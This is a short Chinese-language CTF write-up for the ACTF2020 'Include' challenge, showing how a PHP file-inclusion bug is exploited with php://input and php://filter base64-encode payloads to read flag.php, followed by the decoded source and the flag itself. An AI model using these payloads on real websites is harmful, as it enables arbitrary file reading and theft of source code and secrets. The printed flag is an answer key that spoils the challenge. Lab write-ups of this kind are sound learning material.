[ACTF2020 新生赛]Include wp

题目链接

考点分析

本题主要考查了利用php://filter伪协议进行文件包含

知识链接

https://segmentfault.com/a/1190000018991087
https://blog.csdn.net/nzjdsds/article/details/82461043

解题步骤

(1) 进入网站 点击 Tip 网址跳转至

...?file=flag.php进入正题

(2) 考虑 "php://input"伪协议 + POST发送PHP代码 的经典套路

构造payload: ?file=php://input

(3) 重新考虑之后使用 “php://filter"伪协议” 来进行包含。当它与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。

构造payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
这里需要注意的是使用php://filter伪协议进行文件包含时，需要加上read=convert.base64-encode来对文件内容进行编码
得到返回值

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MThmMzIzYWEtNmQxNi00Nzk2LWE0OGItNWMwMzA4ZmMzMTVifQo=

(4) Base64 解码 得到flag

<?php
echo "Can you find out the flag?";
//flag{18f323aa-6d16-4796-a48b-5c0308fc315b}